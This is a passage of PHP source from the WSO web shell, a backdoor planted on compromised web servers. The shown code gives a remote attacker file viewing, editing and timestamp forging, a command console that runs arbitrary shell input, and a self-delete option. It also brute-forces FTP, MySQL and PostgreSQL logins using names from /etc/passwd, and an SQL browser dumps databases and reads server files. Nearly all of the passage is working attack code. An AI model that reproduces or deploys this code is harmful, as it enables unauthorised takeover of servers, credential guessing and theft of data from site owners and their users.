974            }
975 
976        exit;
977        }
978 
979    if (@$_POST['p2'] == 'mkfile')
980        {
981        if (!file_exists($_POST['p1']))
982            {
983            $fp = @fopen($_POST['p1'], 'w');
984            if ($fp)
985                {
986                $_POST['p2'] = "edit";
987                fclose($fp);
988                }
989            }
990        }
991 
992    wsoHeader();
993    echo '<h1>File tools</h1><div class=content>';
994    if (!file_exists(@$_POST['p1']))
995        {
996        echo 'File not exists';
997        wsoFooter();
998        return;
999        }
1000 
1001    $uid = @posix_getpwuid(@fileowner($_POST['p1']));
1002    if (!$uid)
1003        {
1004        $uid['name'] = @fileowner($_POST['p1']);
1005        $gid['name'] = @filegroup($_POST['p1']);
1006        }
1007      else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
1008    echo '<span>Name:</span> ' . htmlspecialchars(@basename($_POST['p1'])) . ' <span>Size:</span> ' . (is_file($_POST['p1']) ? wsoViewSize(filesize($_POST['p1'])) : '-') . ' <span>Permission:</span> ' . wsoPermsColor($_POST['p1']) . ' <span>Owner/Group:</span> ' . $uid['name'] . '/' . $gid['name'] . '<br />';
1009    echo '<span>Create time:</span> ' . date('Y-m-d H:i:s', filectime($_POST['p1'])) . ' <span>Access time:</span> ' . date('Y-m-d H:i:s', fileatime($_POST['p1'])) . ' <span>Modify time:</span> ' . date('Y-m-d H:i:s', filemtime($_POST['p1'])) . '<br /><br />';
1010    if (empty($_POST['p2'])) $_POST['p2'] = 'view';
1011    if (is_file($_POST['p1'])) $m = array(
1012        'View',
1013        'Highlight',
1014        'Download',
1015        'Hexdump',
1016        'Edit',
1017        'Chmod',
1018        'Rename',
1019        'Touch'
1020    );
1021      else $m = array(
1022        'Chmod',
1023        'Rename',
1024        'Touch'
1025    );
1026    foreach($m as $v) echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\'' . strtolower($v) . '\')">' . ((strtolower($v) == @$_POST['p2']) ? '<b>[ ' . $v . ' ]</b>' : $v) . '</a> ';
1027    echo '<br /><br />';
1028    switch ($_POST['p2'])
1029        {
1030    case 'view':
1031        echo '<pre class=ml1>';
1032        $fp = @fopen($_POST['p1'], 'r');
1033        if ($fp)
1034            {
1035            while (!@feof($fp)) echo htmlspecialchars(@fread($fp, 1024));
1036            @fclose($fp);
1037            }
1038 
1039        echo '</pre>';
1040        break;
1041 
1042    case 'highlight':
1043        if (@is_readable($_POST['p1']))
1044            {
1045            echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
1046            $code = @highlight_file($_POST['p1'], true);
1047            echo str_replace(array(
1048                '<span ',
1049                '</span>'
1050            ) , array(
1051                '<font ',
1052                '</font>'
1053            ) , $code) . '</div>';
1054            }
1055 
1056        break;
1057 
1058    case 'chmod':
1059        if (!empty($_POST['p3']))
1060            {
1061            $perms = 0;
1062            for ($i = strlen($_POST['p3']) - 1; $i >= 0; --$i) $perms+= (int)$_POST['p3'][$i] * pow(8, (strlen($_POST['p3']) - $i - 1));
1063            if (!@chmod($_POST['p1'], $perms)) echo 'Can\'t set permissions!<br /><script>document.mf.p3.value="";</script>';
1064            }
1065 
1066        clearstatcache();
1067        echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="' . substr(sprintf('%o', fileperms($_POST['p1'])) , -4) . '"><input type=submit value=">>"></form>';
1068        break;
1069 
1070    case 'edit':
1071        if (!is_writable($_POST['p1']))
1072            {
1073            echo 'File isn\'t writeable';
1074            break;
1075            }
1076 
1077        if (!empty($_POST['p3']))
1078            {
1079            $time = @filemtime($_POST['p1']);
1080            $_POST['p3'] = substr($_POST['p3'], 1);
1081            $fp = @fopen($_POST['p1'], "w");
1082            if ($fp)
1083                {
1084                @fwrite($fp, $_POST['p3']);
1085                @fclose($fp);
1086                echo 'Saved!<br /><script>p3_="";</script>';
1087                @touch($_POST['p1'], $time, $time);
1088                }
1089            }
1090 
1091        echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
1092        $fp = @fopen($_POST['p1'], 'r');
1093        if ($fp)
1094            {
1095            while (!@feof($fp)) echo htmlspecialchars(@fread($fp, 1024));
1096            @fclose($fp);
1097            }
1098 
1099        echo '</textarea><input type=submit value=">>"></form>';
1100        break;
1101 
1102    case 'hexdump':
1103        $c = @file_get_contents($_POST['p1']);
1104        $n = 0;
1105        $h = array(
1106            '00000000<br />',
1107            '',
1108            ''
1109        );
1110        $len = strlen($c);
1111        for ($i = 0; $i < $len; ++$i)
1112            {
1113            $h[1].= sprintf('%02X', ord($c[$i])) . ' ';
1114            switch (ord($c[$i]))
1115                {
1116            case 0:
1117                $h[2].= ' ';
1118                break;
1119 
1120            case 9:
1121                $h[2].= ' ';
1122                break;
1123 
1124            case 10:
1125                $h[2].= ' ';
1126                break;
1127 
1128            case 13:
1129                $h[2].= ' ';
1130                break;
1131 
1132            default:
1133                $h[2].= $c[$i];
1134                break;
1135                }
1136 
1137            $n++;
1138            if ($n == 32)
1139                {
1140                $n = 0;
1141                if ($i + 1 < $len)
1142                    {
1143                    $h[0].= sprintf('%08X', $i + 1) . '<br />';
1144                    }
1145 
1146                $h[1].= '<br />';
1147                $h[2].= "\n";
1148                }
1149            }
1150 
1151        echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>' . $h[0] . '</pre></span></td><td bgcolor=#282828><pre>' . $h[1] . '</pre></td><td bgcolor=#333333><pre>' . htmlspecialchars($h[2]) . '</pre></td></tr></table>';
1152        break;
1153 
1154    case 'rename':
1155        if (!empty($_POST['p3']))
1156            {
1157            if (!@rename($_POST['p1'], $_POST['p3'])) echo 'Can\'t rename!<br />';
1158              else die('<script>g(null,null,"' . urlencode($_POST['p3']) . '",null,"")</script>');
1159            }
1160 
1161        echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="' . htmlspecialchars($_POST['p1']) . '"><input type=submit value=">>"></form>';
1162        break;
1163 
1164    case 'touch':
1165        if (!empty($_POST['p3']))
1166            {
1167            $time = strtotime($_POST['p3']);
1168            if ($time)
1169                {
1170                if (!touch($_POST['p1'], $time, $time)) echo 'Fail!';
1171                  else echo 'Touched!';
1172                }
1173              else echo 'Bad time format!';
1174            }
1175 
1176        clearstatcache();
1177        echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="' . date("Y-m-d H:i:s", @filemtime($_POST['p1'])) . '"><input type=submit value=">>"></form>';
1178        break;
1179        }
1180 
1181    echo '</div>';
1182    wsoFooter();
1183    }
1184 
1185function actionConsole()
1186    {
1187    if (!empty($_POST['p1']) && !empty($_POST['p2']))
1188        {
1189        WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', true);
1190        $_POST['p1'].= ' 2>&1';
1191        }
1192    elseif (!empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', 0);
1193    if (isset($_POST['ajax']))
1194        {
1195        WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
1196        ob_start();
1197        echo "d.cf.cmd.value='';\n";
1198        $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ " . $_POST['p1'] . "\n" . wsoEx($_POST['p1']) , "\n\r\t\\'\0"));
1199        if (preg_match("!.*cd\s+([^;]+)$!", $_POST['p1'], $match))
1200            {
1201            if (@chdir($match[1]))
1202                {
1203                $GLOBALS['cwd'] = @getcwd();
1204                echo "c_='" . $GLOBALS['cwd'] . "';";
1205                }
1206            }
1207 
1208        echo "d.cf.output.value+='" . $temp . "';";
1209        echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
1210        $temp = ob_get_clean();
1211        echo strlen($temp) , "\n", $temp;
1212        exit;
1213        }
1214 
1215    if (empty($_POST['ajax']) && !empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
1216    wsoHeader();
1217    echo "<script> if(window.Event) window.captureEvents(Event.KEYDOWN); var cmds = new Array(''); var cur = 0; function kp(e) { var n = (window.Event) ? e.which : e.keyCode; if(n == 38) { cur--; if(cur>=0) document.cf.cmd.value = cmds[cur]; else cur++; } else if(n == 40) { cur++; if(cur < cmds.length) document.cf.cmd.value = cmds[cur]; else cur--; } } function add(cmd) { cmds.pop(); cmds.push(cmd); cmds.push(''); cur = cmds.length-1; } </script>";
1218    echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
1219    foreach($GLOBALS['aliases'] as $n => $v)
1220        {
1221        if ($v == '')
1222            {
1223            echo '<optgroup label="-' . htmlspecialchars($n) . '-"></optgroup>';
1224            continue;
1225            }
1226 
1227        echo '<option value="' . htmlspecialchars($v) . '">' . $n . '</option>';
1228        }
1229 
1230    echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 ' . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX <input type=checkbox name=show_errors value=1 ' . (!empty($_POST['p2']) || $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'stderr_to_out'] ? 'checked' : '') . '> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
1231    if (!empty($_POST['p1']))
1232        {
1233        echo htmlspecialchars("$ " . $_POST['p1'] . "\n" . wsoEx($_POST['p1']));
1234        }
1235 
1236    echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
1237    echo '</form></div><script>d.cf.cmd.focus();</script>';
1238    wsoFooter();
1239    }
1240 
1241function actionLogout()
1242    {
1243    setcookie(md5($_SERVER['HTTP_HOST']) , '', time() - 3600);
1244    die('bye!');
1245    }
1246 
1247function actionSelfRemove()
1248    {
1249    if ($_POST['p1'] == 'yes')
1250    if (@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__))) die('Shell has been removed');
1251      else echo 'unlink error!';
1252    if ($_POST['p1'] != 'yes') wsoHeader();
1253    echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br /><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
1254    wsoFooter();
1255    }
1256 
1257function actionBruteforce()
1258    {
1259    wsoHeader();
1260    if (isset($_POST['proto']))
1261        {
1262        echo '<h1>Results</h1><div class=content><span>Type:</span> ' . htmlspecialchars($_POST['proto']) . ' <span>Server:</span> ' . htmlspecialchars($_POST['server']) . '<br />';
1263        if ($_POST['proto'] == 'ftp')
1264            {
1265            function wsoBruteForce($ip, $port, $login, $pass)
1266                {
1267                $fp = @ftp_connect($ip, $port ? $port : 21);
1268                if (!$fp) return false;
1269                $res = @ftp_login($fp, $login, $pass);
1270                @ftp_close($fp);
1271                return $res;
1272                }
1273            }
1274        elseif ($_POST['proto'] == 'mysql')
1275            {
1276            function wsoBruteForce($ip, $port, $login, $pass)
1277                {
1278                $res = @mysql_connect($ip . ':' . $port ? $port : 3306, $login, $pass);
1279                @mysql_close($res);
1280                return $res;
1281                }
1282            }
1283        elseif ($_POST['proto'] == 'pgsql')
1284            {
1285            function wsoBruteForce($ip, $port, $login, $pass)
1286                {
1287                $str = "host='" . $ip . "' port='" . $port . "' user='" . $login . "' password='" . $pass . "' dbname=postgres";
1288                $res = @pg_connect($str);
1289                @pg_close($res);
1290                return $res;
1291                }
1292            }
1293 
1294        $success = 0;
1295        $attempts = 0;
1296        $server = explode(":", $_POST['server']);
1297        if ($_POST['type'] == 1)
1298            {
1299            $temp = @file('/etc/passwd');
1300            if (is_array($temp))
1301            foreach($temp as $line)
1302                {
1303                $line = explode(":", $line);
1304                ++$attempts;
1305                if (wsoBruteForce(@$server[0], @$server[1], $line[0], $line[0]))
1306                    {
1307                    $success++;
1308                    echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($line[0]) . '<br />';
1309                    }
1310 
1311                if (@$_POST['reverse'])
1312                    {
1313                    $tmp = "";
1314                    for ($i = strlen($line[0]) - 1; $i >= 0; --$i) $tmp.= $line[0][$i];
1315                    ++$attempts;
1316                    if (wsoBruteForce(@$server[0], @$server[1], $line[0], $tmp))
1317                        {
1318                        $success++;
1319                        echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($tmp);
1320                        }
1321                    }
1322                }
1323            }
1324        elseif ($_POST['type'] == 2)
1325            {
1326            $temp = @file($_POST['dict']);
1327            if (is_array($temp))
1328            foreach($temp as $line)
1329                {
1330                $line = trim($line);
1331                ++$attempts;
1332                if (wsoBruteForce($server[0], @$server[1], $_POST['login'], $line))
1333                    {
1334                    $success++;
1335                    echo '<b>' . htmlspecialchars($_POST['login']) . '</b>:' . htmlspecialchars($line) . '<br />';
1336                    }
1337                }
1338            }
1339 
1340        echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br />";
1341        }
1342 
1343    echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>' . '<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>' . '<input type=hidden name=c value="' . htmlspecialchars($GLOBALS['cwd']) . '">' . '<input type=hidden name=a value="' . htmlspecialchars($_POST['a']) . '">' . '<input type=hidden name=charset value="' . htmlspecialchars($_POST['charset']) . '">' . '<span>Server:port</span></td>' . '<td><input type=text name=server value="127.0.0.1"></td></tr>' . '<tr><td><span>Brute type</span></td>' . '<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>' . '<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>' . '<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>' . '<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>' . '<td><input type=text name=login value="root"></td></tr>' . '<tr><td><span>Dictionary</span></td>' . '<td><input type=text name=dict value="' . htmlspecialchars($GLOBALS['cwd']) . 'passwd.dic"></td></tr></table>' . '</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
1344    echo '</div><br />';
1345    wsoFooter();
1346    }
1347 
1348function actionSql()
1349    {
1350    class DbClass
1351 
1352        {
1353        var $type;
1354        var $link;
1355        var $res;
1356        function DbClass($type)
1357            {
1358            $this->type = $type;
1359            }
1360 
1361        function connect($host, $user, $pass, $dbname)
1362            {
1363            switch ($this->type)
1364                {
1365            case 'mysql':
1366                if ($this->link = @mysql_connect($host, $user, $pass, true)) return true;
1367                break;
1368 
1369            case 'pgsql':
1370                $host = explode(':', $host);
1371                if (!$host[1]) $host[1] = 5432;
1372                if ($this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname")) return true;
1373                break;
1374                }
1375 
1376            return false;
1377            }
1378 
1379        function selectdb($db)
1380            {
1381            switch ($this->type)
1382                {
1383            case 'mysql':
1384                if (@mysql_select_db($db)) return true;
1385                break;
1386                }
1387 
1388            return false;
1389            }
1390 
1391        function query($str)
1392            {
1393            switch ($this->type)
1394                {
1395            case 'mysql':
1396                return $this->res = @mysql_query($str);
1397                break;
1398 
1399            case 'pgsql':
1400                return $this->res = @pg_query($this->link, $str);
1401                break;
1402                }
1403 
1404            return false;
1405            }
1406 
1407        function fetch()
1408            {
1409            $res = func_num_args() ? func_get_arg(0) : $this->res;
1410            switch ($this->type)
1411                {
1412            case 'mysql':
1413                return @mysql_fetch_assoc($res);
1414                break;
1415 
1416            case 'pgsql':
1417                return @pg_fetch_assoc($res);
1418                break;
1419                }
1420 
1421            return false;
1422            }
1423 
1424        function listDbs()
1425            {
1426            switch ($this->type)
1427                {
1428            case 'mysql':
1429                return $this->query("SHOW databases");
1430                break;
1431 
1432            case 'pgsql':
1433                return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
1434                break;
1435                }
1436 
1437            return false;
1438            }
1439 
1440        function listTables()
1441            {
1442            switch ($this->type)
1443                {
1444            case 'mysql':
1445                return $this->res = $this->query('SHOW TABLES');
1446                break;
1447 
1448            case 'pgsql':
1449                return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
1450                break;
1451                }
1452 
1453            return false;
1454            }
1455 
1456        function error()
1457            {
1458            switch ($this->type)
1459                {
1460            case 'mysql':
1461                return @mysql_error();
1462                break;
1463 
1464            case 'pgsql':
1465                return @pg_last_error();
1466                break;
1467                }
1468 
1469            return false;
1470            }
1471 
1472        function setCharset($str)
1473            {
1474            switch ($this->type)
1475                {
1476            case 'mysql':
1477                if (function_exists('mysql_set_charset')) return @mysql_set_charset($str, $this->link);
1478                  else $this->query('SET CHARSET ' . $str);
1479                break;
1480 
1481            case 'pgsql':
1482                return @pg_set_client_encoding($this->link, $str);
1483                break;
1484                }
1485 
1486            return false;
1487            }
1488 
1489        function loadFile($str)
1490            {
1491            switch ($this->type)
1492                {
1493            case 'mysql':
1494                return $this->fetch($this->query("SELECT LOAD_FILE('" . addslashes($str) . "') as file"));
1495                break;
1496 
1497            case 'pgsql':
1498                $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '" . addslashes($str) . "';select file from wso2;");
1499                $r = array();
1500                while ($i = $this->fetch()) $r[] = $i['file'];
1501                $this->query('drop table wso2');
1502                return array(
1503                    'file' => implode("\n", $r)
1504                );
1505                break;
1506                }
1507 
1508            return false;
1509            }
1510 
1511        function dump($table, $fp = false)
1512            {
1513            switch ($this->type)
1514                {
1515            case 'mysql':
1516                $res = $this->query('SHOW CREATE TABLE `' . $table . '`');
1517                $create = mysql_fetch_array($res);
1518                $sql = $create[1] . ";\n";
1519                if ($fp) fwrite($fp, $sql);
1520                  else echo ($sql);
1521                $this->query('SELECT * FROM `' . $table . '`');
1522                $i = 0;
1523                $head = true;
1524                while ($item = $this->fetch())
1525                    {
1526                    $sql = '';
1527                    if ($i % 1000 == 0)
1528                        {
1529                        $head = true;
1530                        $sql = ";\n\n";
1531                        }
1532 
1533                    $columns = array();
1534                    foreach($item as $k => $v)
1535                        {
1536                        if ($v === null) $item[$k] = "NULL";
1537                        elseif (is_int($v)) $item[$k] = $v;
1538                          else $item[$k] = "'" . @mysql_real_escape_string($v) . "'";
1539                        $columns[] = "`" . $k . "`";
1540                        }
1541 
1542                    if ($head)
1543                        {
1544                        $sql.= 'INSERT INTO `' . $table . '` (' . implode(", ", $columns) . ") VALUES \n\t(" . implode(", ", $item) . ')';
1545                        $head = false;
1546                        }
1547                      else $sql.= "\n\t,(" . implode(", ", $item) . ')';
1548                    if ($fp) fwrite($fp, $sql);
1549                      else echo ($sql);
1550                    $i++;
1551                    }
1552 
1553                if (!$head)
1554                if ($fp) fwrite($fp, ";\n\n");
1555                  else echo (";\n\n");
1556                break;
1557 
1558            case 'pgsql':
1559                $this->query('SELECT * FROM ' . $table);
1560                while ($item = $this->fetch())
1561                    {
1562                    $columns = array();
1563                    foreach($item as $k => $v)
1564                        {
1565                        $item[$k] = "'" . addslashes($v) . "'";
1566                        $columns[] = $k;
1567                        }
1568 
1569                    $sql = 'INSERT INTO ' . $table . ' (' . implode(", ", $columns) . ') VALUES (' . implode(", ", $item) . ');' . "\n";
1570                    if ($fp) fwrite($fp, $sql);
1571                      else echo ($sql);
1572                    }
1573 
1574                break;
1575                }
1576 
1577            return false;
1578            }
1579        };
1580    $db = new DbClass($_POST['type']);
1581    if (@$_POST['p2'] == 'download')
1582        {
1583        $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
1584        $db->selectdb($_POST['sql_base']);
1585        switch ($_POST['charset'])
1586            {
1587        case "Windows-1251":
1588            $db->setCharset('cp1251');
1589            break;
1590 
1591        case "UTF-8":
1592            $db->setCharset('utf8');
1593            break;
1594 
1595        case "KOI8-R":
1596            $db->setCharset('koi8r');
1597            break;
1598 
1599        case "KOI8-U":
1600            $db->setCharset('koi8u');
1601            break;
1602 
1603        case "cp866":
1604            $db->setCharset('cp866');
1605            break;
1606            }
1607 
1608        if (empty($_POST['file']))
1609            {
1610            ob_start("ob_gzhandler", 4096);
1611            header("Content-Disposition: attachment; filename=dump.sql");
1612            header("Content-Type: text/plain");
1613            foreach($_POST['tbl'] as $v) $db->dump($v);
1614            exit;
1615            }
1616        elseif ($fp = @fopen($_POST['file'], 'w'))
1617            {
1618            foreach($_POST['tbl'] as $v) $db->dump($v, $fp);
1619            fclose($fp);
1620            unset($_POST['p2']);
1621            }
1622          else die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
1623        }
1624 
1625    wsoHeader();
1626    echo " <h1>Sql browser</h1><div class=content> <form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr> <td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr> <input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'> <td><select name='type'><option value='mysql' ";
1627    if (@$_POST['type'] == 'mysql') echo 'selected';
1628    echo ">MySql</option><option value='pgsql' ";
1629    if (@$_POST['type'] == 'pgsql') echo 'selected';
1630    echo ">PostgreSql</option></select></td> <td><input type=text name=sql_host value=\"" . (empty($_POST['sql_host']) ? 'localhost' : htmlspecialchars($_POST['sql_host'])) . "\"></td> <td><input type=text name=sql_login value=\"" . (empty($_POST['sql_login']) ? 'root' : htmlspecialchars($_POST['sql_login'])) . "\"></td> <td><input type=text name=sql_pass value=\"" . (empty($_POST['sql_pass']) ? '' : htmlspecialchars($_POST['sql_pass'])) . "\"></td><td>";
1631    $tmp = "<input type=text name=sql_base value=''>";
1632    if (isset($_POST['sql_host']))
1633        {
1634        if ($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']))
1635            {
1636            switch ($_POST['charset'])
1637                {
1638            case "Windows-1251":
1639                $db->setCharset('cp1251');
1640                break;
1641 
1642            case "UTF-8":
1643                $db->setCharset('utf8');
1644                break;
1645 
1646            case "KOI8-R":
1647                $db->setCharset('koi8r');
1648                break;
1649 
1650            case "KOI8-U":
1651                $db->setCharset('koi8u');
1652                break;
1653 
1654            case "cp866":
1655                $db->setCharset('cp866');
1656                break;
1657                }
1658 
1659            $db->listDbs();
1660            echo "<select name=sql_base><option value=''></option>";
1661            while ($item = $db->fetch())
1662                {
1663                list($key, $value) = each($item);
1664                echo '<option value="' . $value . '" ' . ($value == $_POST['sql_base'] ? 'selected' : '') . '>' . $value . '</option>';
1665                }
1666 
1667            echo '</select>';
1668            }
1669          else echo $tmp;
1670        }
1671      else echo $tmp;
1672    echo "</td> <td><input type=submit value='>>' onclick='fs(d.sf);'></td> <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count']) ? '' : ' checked') . "> count the number of rows</td> </tr> </table> <script> s_db='" . @addslashes($_POST['sql_base']) . "'; function fs(f) { if(f.sql_base.value!=s_db) { f.onsubmit = function() {}; if(f.p1) f.p1.value=''; if(f.p2) f.p2.value=''; if(f.p3) f.p3.value=''; } } function st(t,l) { d.sf.p1.value = 'select'; d.sf.p2.value = t; if(l && d.sf.p3) d.sf.p3.value = l; d.sf.submit(); } function is() { for(i=0;i<d.sf.elements['tbl[]'].length;++i) d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked; } </script>";
1673    if (isset($db) && $db->link)
1674        {
1675        echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
1676        if (!empty($_POST['sql_base']))
1677            {
1678            $db->selectdb($_POST['sql_base']);
1679            echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br /><br />";
1680            $tbls_res = $db->listTables();
1681            while ($item = $db->fetch($tbls_res))
1682                {
1683                list($key, $value) = each($item);
1684                if (!empty($_POST['sql_count'])) $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM ' . $value . ''));
1685                $value = htmlspecialchars($value);
1686                echo "<nobr><input type='checkbox' name='tbl[]' value='" . $value . "'>&nbsp;<a href=# onclick=\"st('" . $value . "',1)\">" . $value . "</a>" . (empty($_POST['sql_count']) ? '&nbsp;' : " <small>({$n['n']})</small>") . "</nobr><br />";
1687                }
1688 
1689            echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br />File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
1690            if (@$_POST['p1'] == 'select')
1691                {
1692                $_POST['p1'] = 'query';
1693                $_POST['p3'] = $_POST['p3'] ? $_POST['p3'] : 1;
1694                $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
1695                $num = $db->fetch();
1696                $pages = ceil($num['n'] / 30);
1697                echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>" . $_POST['p2'] . "</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
1698                echo " of $pages";
1699                if ($_POST['p3'] > 1) echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] - 1) . ")'>&lt; Prev</a>";
1700                if ($_POST['p3'] < $pages) echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] + 1) . ")'>Next &gt;</a>";
1701                $_POST['p3']--;
1702                if ($_POST['type'] == 'pgsql') $_POST['p2'] = 'SELECT * FROM ' . $_POST['p2'] . ' LIMIT 30 OFFSET ' . ($_POST['p3'] * 30);
1703                  else $_POST['p2'] = 'SELECT * FROM `' . $_POST['p2'] . '` LIMIT ' . ($_POST['p3'] * 30) . ',30';
1704                echo "<br /><br />";
1705                }
1706 
1707            if ((@$_POST['p1'] == 'query') && !empty($_POST['p2']))
1708                {
1709                $db->query(@$_POST['p2']);
1710                if ($db->res !== false)
1711                    {
1712                    $title = false;
1713                    echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
1714                    $line = 1;
1715                    while ($item = $db->fetch())
1716                        {
1717                        if (!$title)
1718                            {
1719                            echo '<tr>';
1720                            foreach($item as $key => $value) echo '<th>' . $key . '</th>';
1721                            reset($item);
1722                            $title = true;
1723                            echo '</tr><tr>';
1724                            $line = 2;
1725                            }
1726 
1727                        echo '<tr class="l' . $line . '">';
1728                        $line = $line == 1 ? 2 : 1;
1729                        foreach($item as $key => $value)
1730                            {
1731                            if ($value == null) echo '<td><i>null</i></td>';
1732                              else echo '<td>' . nl2br(htmlspecialchars($value)) . '</td>';
1733                            }
1734 
1735                        echo '</tr>';
1736                        }
1737 
1738                    echo '</table>';
1739                    }
1740                  else
1741                    {
1742                    echo '<div><b>Error:</b> ' . htmlspecialchars($db->error()) . '</div>';
1743                    }
1744                }
1745 
1746            echo "<br /></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
1747            if (!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile')) echo htmlspecialchars($_POST['p2']);
1748            echo "</textarea><br/><input type=submit value='Execute'>";
1749            echo "</td></tr>";
1750            }
1751 
1752        echo "</table></form><br/>";
1753        if ($_POST['type'] == 'mysql')
1754            {
1755            $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
1756            if ($db->fetch()) echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
1757            }
1758 
1759        if (@$_POST['p1'] == 'loadfile')
1760            {
1761            $file = $db->loadFile($_POST['p2']);
1762            echo '<br/><pre class=ml1>' . htmlspecialchars($file['file']) . '</pre>';
1763            }
1764        }
1765      else
1766        {
1767        echo htmlspecialchars($db->error());
1768        }
1769 
1770    echo '</div>';
1771    wsoFooter();
1772    }
1773 
1774function actionNetwork()
1775    {
1776    wsoHeader();
